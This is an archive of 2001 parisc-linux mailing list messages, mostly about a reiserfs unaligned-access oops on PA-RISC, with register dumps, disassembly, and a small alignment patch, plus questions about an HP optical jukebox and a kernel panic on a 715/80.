>    From: Andi Kleen <ak@suse.de>
>    Date: 03 Sep 2001 09:29:12 +0200
>    
>    And also everybody connected to the internet needs them, because you can 
>    create arbitarily unaligned TCP/UDP/ICMP headers using IP option byte sized 
>    NOPs. 
> 
> IP header length is measured in octets, so how is this possible?
> :-)

Sorry that came out wrong. You can in theory generate unaligned IP options this way, but the 
kernel handles this correctly using memcpy. What it doesn't handle is unaligned TCP options
(e.g. timestamps); which you can create using TCP option byte fillers.

Also the 4 byte alignment of the header doesn't help much when the driver didn't cooperate.

-Andi




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaud.ATOCH@oecd.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] UreStoreOptical 20xt
Date: Mon, 3 Sep 2001 12:28:38 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <C12531D038D1D011B1DB0000F8036C280A30EB51@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620447 24895 80.91.229.3 (22 Nov 2014 01:40:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 04:28:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cs1-hq.oecd.org (cs1-hq.oecd.org [193.51.65.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13109482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 04:28:42 -0600 (MDT)
Original-Received: from netsweep1.oecd.org (netsweep1.oecd.org [10.102.5.110])
	by cs1-hq.oecd.org (Postfix) with ESMTP id C461E4B014
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 12:25:50 +0200 (CEST)
Original-Received: from eosgty1.oecd.org (unverified) by netsweep1.oecd.org
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T55c473708c0a66056e06d@netsweep1.oecd.org> for <parisc-linux@lists.parisc-linux.org>;
 Mon, 3 Sep 2001 12:28:39 +0200
Original-Received: by eosgty1.oecd.org with Internet Mail Service (5.5.2653.19)
	id <RCR7C813>; Mon, 3 Sep 2001 12:28:40 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12079

First thank you for the port. I'm running a 712/100 with no special trouble
(iso image 0.9.2).

I've got 1 question on the HP Surestore Optical 20xt.

I was using this robot on HP-UX. It is now connected to the 712/100. It is
seen by the SCSI driver and using mtx, I can load, unload, eject opticals
disks.

Using fdisk, I can partition, format (mkfs),and then use blank optical
drives.

I'd like to read all ones created with HP-UX.

I know that sector size of 1024 is no more an issue since 2.2.16 or
something but neither mount or fdsik recognize what's on the drive for HP-UX
written disks.

I've loaded hfs, hpfs, udf, ufs because it was not clear which module
provide HP-UX filesystem support.

Btw does the HP-UX fs support patch made it to Linus tree ?

thanks for any feedback.

Arnaud Atoch
OECD
Paris - France




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans Reiser <reiser@namesys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 03 Sep 2001 14:25:39 +0400
Organization: Namesys
Lines: 148
Approved: news@gmane.org
Message-ID: <3B935AA3.C4615F99@namesys.com>
References: <20010902105538.A15344@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620447 24905 80.91.229.3 (22 Nov 2014 01:40:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org, Jeff Mahoney <jeffm@suse.com>
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 04:43:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thebsh.namesys.com (thebsh.namesys.com [212.16.0.238])
	by dsl2.external.hp.com (Postfix) with SMTP id B9246482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 04:43:06 -0600 (MDT)
Original-Received: (qmail 30158 invoked from network); 3 Sep 2001 10:43:04 -0000
Original-Received: from backtop.reiserfs.com (HELO namesys.com) (212.16.7.71)
  by thebsh.namesys.com with SMTP; 3 Sep 2001 10:43:04 -0000
Original-Sender: root@dsl2.external.hp.com
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.4 i686)
X-Accept-Language: en, ru
Xref: news.gmane.org gmane.linux.ports.parisc:12080



Well, I should have read the next email before saying these patches seemed to be
stable.

Jeff?

Hans

thunder7@xs4all.nl wrote:
> 
> Well, I watched the number of files in /lost+found grow every time I
> had to pull the plug from my HP C200, so I added a 'sync' option in
> /etc/fstab and tried to get reiserfs working.
> 
> I patched my 2.4.9-pa13 kernel with
> 
> endian-safe-reiserfs-for-2.4.8.patch
> 
> which went without warnings or errors. A patched
> reiserfs-progs-3.x.0k-pre9 also built well (despite what the configure
> scripts says, you _need_ automake).
> 
> Creating a reiserfs-partition went without a hitch.
> 
> running bonnie -s 128 on it did this:
> 
> Adding Swap: 1041400k swap-space (priority -1)
> eth0: Setting half-duplex based on MII#1 link partner capability of 0021.
> reiserfs: checking transaction log (device 08:03) ...
> Using r5 hash to sort names
> ReiserFS version 3.6.25
> bonnie[163]: Unaligned data reference 28
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110
> r0-3     00000000 102ec550 10197d0c 26f24838
> r4-7     26f24848 27054e40 00000011 00000020
> r8-11    0000000a 26f06580 00000020 26f247a0
> r12-15   27088d1c ffffffff 26f24838 00000001
> r16-19   26f24708 faf02c68 0006a248 26f24852
> r20-23   0000000f 00000003 03000000 00000002
> r24-27   0000000a 0000000a 26f24848 102d4010
> r28-31   26f24848 01000000 26f24b40 10196fc8
> sr0-3    00000000 00000004 00000000 00000004
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 10197d10 10197d14
>  IIR: 0c7c1093    ISR: 00000000  IOR: 26f24846
>  ORIG_R28: 00000000
> pa8200:/var/log#
> 
> After reading in the archives about ksymoops, I looked up this part of
> my System.map:
> 
> 101979e0 T reiserfs_lookup
> 101979e0 t .L1432
> 10197ad4 t reiserfs_add_entry
> 10197e50 t .L1512
> 10197f28 t .L1510
> 10198068 T reiserfs_create
> 
> objdump -d /boot/linux-2.4.9-pa13 revealed:
> 
> 10197cbc:       d6 d6 0b 18     depw,z r22,7,8,r22
> 10197cc0:       d6 b5 0a 10     depw,z r21,15,16,r21
> 10197cc4:       41 33 01 fe     ldb ff(sr0,r9),r19
> 10197cc8:       0a d5 02 75     or r21,r22,r21
> 10197ccc:       d6 94 09 08     depw,z r20,23,24,r20
> 10197cd0:       0a b4 02 74     or r20,r21,r20
> 10197cd4:       0a 93 02 73     or r19,r20,r19
> 10197cd8:       d2 75 18 f8     extrw,u r19,7,8,r21
> 10197cdc:       d2 74 19 f8     extrw,u r19,15,8,r20
> 10197ce0:       0c 73 12 16     stb  r19,b(sr0,r3)
> 10197ce4:       d2 73 1a f8     extrw,u r19,23,8,r19
> 10197ce8:       0c 75 12 10     stb  r21,8(sr0,r3)
> 10197cec:       0c 74 12 12     stb  r20,9(sr0,r3)
> 10197cf0:       e8 86 a9 e4     b,l 102a51e8 <memcpy>,%r2
> 10197cf4:       0c 73 12 14     stb  r19,a(sr0,r3)
> 10197cf8:       08 06 02 59     copy r6,r25
> 10197cfc:       08 04 02 5a     copy r4,r26
> 10197d00:       d7 20 1c 1d     depwi 0,31,3,r25
> 10197d04:       e8 0d a5 d8     call 101b1ff8 <padd_item>
> 10197d08:       08 08 02 58     copy r8,r24
> 10197d0c:       00 01 0e 74     rsm 1,r20
> 10197d10:       0c 7c 10 93     ldw  e(sr0,r3),r19
> 10197d14:       d6 60 1f 1f     depwi 0,7,1,r19
> 10197d18:       0c 73 12 9c     stw  r19,e(sr0,r3)
> 10197d1c:       00 14 18 60     mtsm r20
> 10197d20:       85 e0 26 32     cmpib,=,n 0,r15,10198040 <.L1510+0x118>
> 10197d24:       00 01 0e 74     rsm 1,r20
> 10197d28:       0c 7c 10 93     ldw  e(sr0,r3),r19
> 10197d2c:       d6 7f 1f 5f     depwi -1,5,1,r19
> 10197d30:       0c 73 12 9c     stw  r19,e(sr0,r3)
> 10197d34:       00 14 18 60     mtsm r20
> 10197d38:       08 00 02 54     copy r0,r20
> 10197d3c:       08 00 02 55     copy r0,r21
> 10197d40:       37 c6 3e 51     ldo -d8(sp),r6
> 10197d44:       37 cd 3d c1     ldo -120(sp),r13
> 10197d48:       6b d4 3e 51     stw r20,-d8(sr0,sp)
> 10197d4c:       6b d5 3e 59     stw r21,-d4(sr0,sp)
> 10197d50:       6b d4 3e 61     stw r20,-d0(sr0,sp)
> 10197d54:       6b d5 3e 69     stw r21,-cc(sr0,sp)
> 10197d58:       08 0c 02 59     copy r12,r25
> 10197d5c:       6b c6 3e 01     stw r6,-100(sr0,sp)
> 10197d60:       6b cd 3f 99     stw r13,-34(sr0,sp)
> 10197d64:       08 08 02 58     copy r8,r24
> 10197d68:       08 05 02 5a     copy r5,r26
> 10197d6c:       eb ff b4 4d     b,l 10197798 <reiserfs_find_entry>,%r2
> 
> which makes the error somewhere around here in
> fs/reiserfs/namei.c, function reiserfs_add_entry, after call to
> padd_item, before call to reiserfs_find_entry:
> 
>     /* copy name */
>     memcpy ((char *)(deh + 1), name, namelen);
>     /* padd by 0s to the 4 byte boundary */
>     padd_item ((char *)(deh + 1), ROUND_UP (namelen), namelen);
> 
>     /* entry is ready to be pasted into tree, set 'visibility' and 'stat data in entry' attributes */
>     mark_de_without_sd (deh);
>     visible ? mark_de_visible (deh) : mark_de_hidden (deh);
> 
>     /* find the proper place for the new entry */
>     memset (bit_string, 0, sizeof (bit_string));
>     de.de_gen_number_bit_string = (char *)bit_string;
>     retval = reiserfs_find_entry (dir, name, namelen, &path, &de);
> 
> And there I'm stuck. I'm sending this to the parisc-list to document the
> failure, and to linux-kernel to reach some reiserfs-experts, perhaps.
> 
> I'm willing to test anything!
> 
> Good luck,
> Jurriaan
> --
> "I have seen her. That is enough, perhaps."
> Pug smiled. "You are a rare man."
>         Raymond E Feist - The King's Buccaneer
> GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.04 0.01 0.06
> -
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 12:52:18 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20010903125218.A3192@middle.of.nowhere>
References: <20010902105538.A15344@middle.of.nowhere> <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk> <20010902.160441.92583890.davem@redhat.com> <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620448 24907 80.91.229.3 (22 Nov 2014 01:40:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 04:57:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0BB4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 04:57:13 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id MAA10437
	for <parisc-linux@lists.parisc-linux.org>; Mon, 3 Sep 2001 12:57:11 +0200 (CEST)
Original-Received: (qmail 4155 invoked from network); 3 Sep 2001 10:52:19 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 3 Sep 2001 10:52:19 -0000
Original-Received: (qmail 15759 invoked by uid 500); 3 Sep 2001 10:52:18 -0000
Content-Disposition: inline
In-Reply-To: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12081

On Mon, Sep 03, 2001 at 12:25:14AM +0100, Matthew Wilcox wrote:
> On Sun, Sep 02, 2001 at 04:04:41PM -0700, David S. Miller wrote:
> >    From: Matthew Wilcox <willy@debian.org>
> >    Date: Sun, 2 Sep 2001 15:00:23 +0100
> > 
> >    On Sun, Sep 02, 2001 at 10:55:38AM +0200, thunder7@xs4all.nl wrote:
> >    > ReiserFS version 3.6.25
> >    > bonnie[163]: Unaligned data reference 28
> >    
> >    As it says, an unaligned data reference.
> >    
> > BTW, you should not be OOPSing on this as unaligned references are
> > defined as completely normal, especially in the networking.
> > 
> > Is it impossible to handle unaligned access traps properly on
> > parisc?  If so, well you have some problems...
> 
> No, we just haven't bothered to implement it yet.  Not many people
> use IPX these days.
> 
OK, well this seems to have opened quite a can of worms. Programming the
handling of unaligned access traps on parisc is quite above my
possibilities.

I did notice that mark_de_without_sd() in reiserfs_fs.h just calls the
ext2_{set|clear|test}_bit routines. If the host architecture should
handle that with unaligned addresses, obviously the exception for s390
should also go. The current source would make reiserfs slow on sparc as
well, if I understand correctly.

To solve this for parisc, I see two possibilities:

- rewrite asm/parisc/bitops.h to have the ext2_* routines handle
  unaligned addresses. This would possibly be slowing down all aligned
  access. Not so nice.

- rewrite reiserfs_fs.h to use it's own test/set/clear bit routines.
  This would lose all the optimizations all specific architectures have
  in their asm/*/bitops.h. Also not nice.

Keeping in mind that I don't know any parisc assembly, is there any way
I can help resolve this in an elegant manner?

Greetings,
Jurriaan
-- 
If all else fails, immortality can always be assured by spectacular error.
        John Kenneth Galbraith
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.45 0.12 0.04




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans Reiser <reiser@namesys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc 
 architecture
Date: Mon, 03 Sep 2001 14:48:24 +0400
Organization: Namesys
Lines: 10
Approved: news@gmane.org
Message-ID: <3B935FF8.935244CE@namesys.com>
References: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk.suse.lists.linux.kernel> <E15dghq-0000bZ-00@the-village.bc.nu.suse.lists.linux.kernel> <oup66b0zq9j.fsf@pigdrop.muc.suse.de> <20010903.011530.62340995.davem@redhat.com> <20010903104105.A3398@gruyere.muc.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620448 24910 80.91.229.3 (22 Nov 2014 01:40:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:48 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, alan@lxorguk.ukuu.org.uk,
	willy@debian.org, thunder7@xs4all.nl,
	parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: Andi Kleen <ak@suse.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 05:06:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thebsh.namesys.com (thebsh.namesys.com [212.16.0.238])
	by dsl2.external.hp.com (Postfix) with SMTP id 0403E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 05:05:59 -0600 (MDT)
Original-Received: (qmail 31899 invoked from network); 3 Sep 2001 11:05:57 -0000
Original-Received: from backtop.reiserfs.com (HELO namesys.com) (212.16.7.71)
  by thebsh.namesys.com with SMTP; 3 Sep 2001 11:05:57 -0000
Original-Sender: root@dsl2.external.hp.com
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.4 i686)
X-Accept-Language: en, ru
Xref: news.gmane.org gmane.linux.ports.parisc:12082

Ok, so the sum of this is that Jeff's patches work on the platforms he wrote
them for, and we need one more fix for PA-RISC.

So, we can reasonably send Jeff's patches to Linus, and test and then put the
PA-RISC patch into the AC tree, any disagreement?

Hans




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ulrich Weigand" <Ulrich.Weigand@de.ibm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [SOLVED + PATCH]: documented Oops running big-endian reiserfs on parisc
 architecture
Date: Mon, 3 Sep 2001 14:08:43 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <OF9A995335.07A81CF5-ONC1256ABC.00422A7B@de.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620448 24913 80.91.229.3 (22 Nov 2014 01:40:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:48 +0000 (UTC)
Cc: Richard.Zidlicky@stud.informatik.uni-erlangen.de,
	thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 06:10:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8017E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 06:10:01 -0600 (MDT)
Original-Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id OAA79072;
	Mon, 3 Sep 2001 14:09:46 +0200
Original-Received: from d12ml028.de.ibm.com (d12ml028_cs0 [9.165.223.24])
	by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f83C9f1218826;
	Mon, 3 Sep 2001 14:09:41 +0200
Importance: Normal
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
X-MIMETrack: Serialize by Router on D12ML028/12/M/IBM(Release 5.0.8 |June 18, 2001) at
 03/09/2001 14:08:45
Xref: news.gmane.org gmane.linux.ports.parisc:12083

David Miller wrote:

>   From: Richard Zidlicky
<Richard.Zidlicky@stud.informatik.uni-erlangen.de>
>   Date: Mon, 3 Sep 2001 00:34:37 +0200
>
>   On Sun, Sep 02, 2001 at 07:57:17PM +0200, thunder7@xs4all.nl wrote:
>   >  /* 64 bit systems (and the S/390) need to be aligned explicitly -jdm
*/
>   > -#if BITS_PER_LONG == 64 || defined(__s390__)
>   > +#if BITS_PER_LONG == 64 || defined(__s390__) || defined(__hppa__)
>   >  #   define ADDR_UNALIGNED_BITS  (3)
>   >  #endif
>
>   couldn't reiserfs use asm/unaligned.h like anyone else?
>   Seems at least sparc and mips may need the same treatment.
>
>Sparc will act correctly for unaliagned accesses.
>
>It will trap and run very slowly, but it wont' OOPS and
>it will give correct results.
>
>This is actually required behavior, I don't know why parisc
>is acting differently.

>From what I recall when we were looking into reiserfs on S/390,
the core problem was that reiserfs tried to do *atomic* operations
on non-aligned words.  This isn't supported by the hardware on
S/390 (normal non-aligned accesses just work).

I don't really see how this can be fixed in a trap handler; how
would the handler guarantee atomicity?



Mit freundlichen Gruessen / Best Regards

Ulrich Weigand

--
  Dr. Ulrich Weigand
  Linux for S/390 Design & Development
  IBM Deutschland Entwicklung GmbH, Schoenaicher Str. 220, 71032 Boeblingen
  Phone: +49-7031/16-3727   ---   Email: Ulrich.Weigand@de.ibm.com





From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@penguin3.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel panics on 715/80
Date: Mon, 3 Sep 2001 17:21:09 +0300 (EEST)
Lines: 63
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0109031623080.14451-100000@penguin3.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620449 24915 80.91.229.3 (22 Nov 2014 01:40:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:49 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 08:21:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id D361D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 08:21:12 -0600 (MDT)
Original-Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f83EJh905775
	for <parisc-linux@lists.parisc-linux.org>; Mon, 3 Sep 2001 17:19:43 +0300 (EET DST)
Original-Received: from esebh01nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T55c57f3dbcac158f21083@esvir01nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Mon, 3 Sep 2001 17:21:10 +0300
Original-Received: from linux.nokia.com (linox03.ntc.nokia.com [172.21.29.49]) by esebh01nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id R4RMFLSN; Mon, 3 Sep 2001 17:21:10 +0300
Original-Received: from penguin3.ntc.nokia.com (IDENT:martikka@penguin3.ntc.nokia.com [192.168.170.81])
	by linux.nokia.com (8.11.2/8.11.2) with ESMTP id f83ELAx19172
	for <parisc-linux@lists.parisc-linux.org>; Mon, 3 Sep 2001 17:21:10 +0300
Xref: news.gmane.org gmane.linux.ports.parisc:12084

Hei,

I just downloaded kernel-2.4.9 (linux-20010901.tar.gz) and compiled it
with default configuration (I selected the 7100LC cpu) on my 715/80. I was
successfully running the 2.4.0 kernel from 0.9.2 cd-image.

Any ideas what went wrong?

- Goodi

Booting
palo ipl 0.93 bame@palinux Wed Jul 11 11:08:57 MDT 2001
0/vmlinux32 2853588 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      16   f0 Palo
2              17     505   82 swap
3             506    2060   83 ext2

Command line: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102'

Kernel: partition 3 file /boot/vmlinux-2.4.9
ext2 block size 4096
ext2_mount(partition 3) returns 0
ext2_open(/boot/vmlinux-2.4.9) = 3
ELF32 executable
Entry 001000d0 first 00100000 n 4
Segment 0 load 00100000 size 1712516 mediaptr 0x1000
Segment 1 load 002a4000 size 281808 mediaptr 0x1a4000
Segment 2 load 002ec000 size 385024 mediaptr 0x1e9000
Segment 3 load 0037f510 size 88000 mediaptr 0x247510
branching to kernel entry point 0x001000d0

Dumping Stack from 10348000 to 10348980:
8000 00000000 00000000 00000000 00000000 102b6fa0 00000000 00000000
ffffffff
................
8960 00000000 00000000 00000000 10107748 00000000 00000000 00000000
00000000

Kernel Fault: Code=15 regs=10348740 (Addr=2000003c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011000000000000001111
r0-3     00000000 2000003c 1010afd0 1034c76c
r4-7     f0200000 1034c010 00000005 10348628
r8-11    10348609 00000008 0004000e 102ecf94
r12-15   00000000 00000001 00000001 f0000704
r16-19   f000b858 00000002 00000000 00000000
r20-23   00005e00 0000000b 00000010 0000008e
r24-27   00000000 1034c1e0 1034c770 102a4010
r28-31   00000000 102b6810 10348980 f0012870
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102ee3c4 102ee3b4
 IIR: 0c201093    ISR: 00000000  IOR: 2000003c
 ORIG_R28: 00000000







From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 15:30:01 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010903153001.G5126@parcelfarce.linux.theplanet.co.uk>
References: <20010902105538.A15344@middle.of.nowhere> <3B935AA3.C4615F99@namesys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620449 24917 80.91.229.3 (22 Nov 2014 01:40:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:49 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org,
	linux-kernel@vger.kernel.org, Jeff Mahoney <jeffm@suse.com>
To: Hans Reiser <reiser@namesys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 08:30:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20DBF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 08:30:09 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dujh-0003SP-00; Mon, 03 Sep 2001 15:30:01 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B935AA3.C4615F99@namesys.com>; from reiser@namesys.com on Mon, Sep 03, 2001 at 02:25:39PM +0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12085

On Mon, Sep 03, 2001 at 02:25:39PM +0400, Hans Reiser wrote:
> 
> 
> 
> Well, I should have read the next email before saying these patches seemed to be
> stable.
> 
> Jeff?

you misread the archive, Hans.  This is the original bugreport; once the
alignment was fixed it worked fine.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: Mon, 3 Sep 2001 15:31:04 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010903153104.H5126@parcelfarce.linux.theplanet.co.uk>
References: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk.suse.lists.linux.kernel> <E15dghq-0000bZ-00@the-village.bc.nu.suse.lists.linux.kernel> <oup66b0zq9j.fsf@pigdrop.muc.suse.de> <20010903.011530.62340995.davem@redhat.com> <20010903104105.A3398@gruyere.muc.suse.de> <3B935FF8.935244CE@namesys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620449 24920 80.91.229.3 (22 Nov 2014 01:40:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:49 +0000 (UTC)
